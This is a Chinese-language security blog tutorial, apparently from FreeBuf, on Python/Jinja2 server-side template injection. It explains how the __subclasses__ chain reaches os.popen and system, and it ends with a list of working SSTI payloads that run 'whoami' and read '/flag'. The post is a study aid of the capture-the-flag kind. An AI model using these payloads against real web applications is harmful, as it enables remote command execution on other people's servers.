may1as
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

文前漫谈
接触到pythonweb SSTI也有一段时间了,给我的感觉就是原理也容易理解,但是在利用上总有些难度。(不能够灵活运用),想来想去还是原理不太清楚,借着这篇文章,从初学者的角度,从原理的方向研究一下payload的构造。
从原点出发
你会发现,大多数payload总是从下面这段代码出发,延伸出各种各样的花样。而这一步的目的是得到当前模块中所有可以利用的类。得到的结果跟当前模块(py文件)import
的库也是有关系的。
''.__class__.__base__.__subclasses__()
详细解释:
''
,是一个字符串对象,type('')的结果是<class 'str'>
,在python中,一切皆对象,再比如type([])的结果是<class 'list'>
,因为[]
是数组的标志__class__
,是这个对象所属的类,到这一步,''.__class__
的结果仍然是<class 'str'>
''.__class__
和''
,区别在于前者是个类,后者是个对象__base__
,是获得指定类的基类(父类),这里''.__class__.__base__
的结果是<class 'object'>
,因为在python3中,所有类都默认继承了Object类。__subclasses__()
,__subclasses__()
是Object
类的静态方法,获得指定类的所有子类,返回一个列表。因为是个方法,所以后面的括号不能忘了带。在这个列表里,拿到了当前模块所有继承Object类的子类,而在python3里,默认所有的类都继承了Object类,所以在下一步的构造中几乎所有的类我们都能找到并利用。
拿一个Payload研究
尝试直接在代码中(最好在flask环境下)
print("".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('whoami').read())
。
是不是成功执行"whoami"
了。也有可能你那报错了。比如,这是因为你从''.__class__.__base__.__subclasses__()这一步拿到的列表,索引为128的对应的不是os._wrap_close类,因为从这一步我们没有进入os模块所在的地址空间,就不能通过__globals__得到os模块已经加载的可利用类
在下面一段代码中进行调试仔细感受一下。
补充一下 __globals__
Python 中的每一个函数都拥有一个 __globals__ 属性,储存着当前模块全局可读的量。以一个字典的形式,建立了一种映射的关系。它必须由一个函数方法调用,即不论是
test.__globals__
,还是a.__globals__
。只要是在一个模块(同一个py文件)内结果都是一样,因为打印的都是全局可读的量。
#payload = "".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('whoami').read() a= "" b= "".__class__ c= "".__class__.__base__ d= "".__class__.__base__.__subclasses__() e= "".__class__.__base__.__subclasses__()[128] f= "".__class__.__base__.__subclasses__()[128].__init__ g= "".__class__.__base__.__subclasses__()[128].__init__.__globals__ h= "".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('whoami') i= "".__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('whoami').read() print(a,b,c,d,e,f,g,h,i)
按照上面的字母开始介绍吧。a到d在前面已经介绍过。这里从e开始。
e="".__class__.__base__.__subclasses__()[128]
e="".__class__.__base__.__subclasses__()[128]的结果是<class 'os._wrap_close'>
,所以你应当了解,使用这个payload的时候,这个128
是特殊的,它得跟随着os._wrap_close
类的位置变化(从零开始数,第129
个是os._wrap_close
类),这个payload也正是利用的os._wrap_close
这个类。到这一步,"".__class__.__base__.__subclasses__()[128]
其实就相当于os._wrap_close
这个类了。
f="".__class__.__base__.__subclasses__()[128].__init__
g= "".__class__.__base__.__subclasses__()[128].__init__.__globals__
这一段的依据主要是前面的__globals__
属性了,为什么要先调用__init__
,因为__globals__
必须依靠方法才能调用,打印全局可读的量。从上面的截图看,这一步就得到os模块
全局可读的量了。注意是os模块
,不是其他模块。从下面截图里的一些细节不能看出,比如'__name__': 'os'
,可以看见所处模块的名称。
分析一下这一步的结果。这一步得到是一个字典,像下面这样
'_unsetenv': <function <lambda> at 0x0000021A10612438>, 'getenv': <function getenv at 0x0000021A106129D8>
大概就是一种映射关系,函数名与所在地址空间的映射,你可以尝试用keys()
,打印键试试
你看,可以利用的函数是太多了。这里我们利用的是'popen()'
这个函数,但是只要是在上面的函数,都可以利用,system()
,甚至一些os库
的常见函数,都能进行调用。
举个例子,调用上面框出来的os这个库
的system()
函数,甚至更加简单。一些读,写的操作都可以借助os
这个库实现。也算是扩大了RCE的攻击面吧。
文末补充
前面说过''.__class__.__base__.__subclasses__()
得到的继承Object类的子类的一个列表,数量与import
的库有关。再谈谈吧
不导包的时候,或者只导python
内置模块的时候。它的数量不会变化,导入一个外置包的时候,继承Object类的子类就变多了。好在这里不会影响到我们拿到的类的顺序,拿这个payload来说"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
,如果第129(从零开始)个不是os._wrap_close类
,那接下来的使用就会发生错误。你可以替换成129
输出试试。
但是在有些题目环境中,重启环境可能会影响拿到类的顺序的。这也是你直接使用别人payload打不通的原因
payload收集
payload挺多的,但是原理大差不差,研究一下都能够理解,主要这部分的内容,对python的理解要求会有一点
{{''.__class__.__base__.__subclasses__()[169].__init__.__globals__['sys'].modules['os'].popen("cat /flag").read()}} # os._wrap_close类中的popen {{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}} # os._wrap_close类中的system {{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['system']('whoami')}} # __import__方法 {{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}} # __builtins__ {{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}} # Jinja2创建的url_for()方法 {{url_for.__globals__.os.popen("cat /flag").read()}}
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)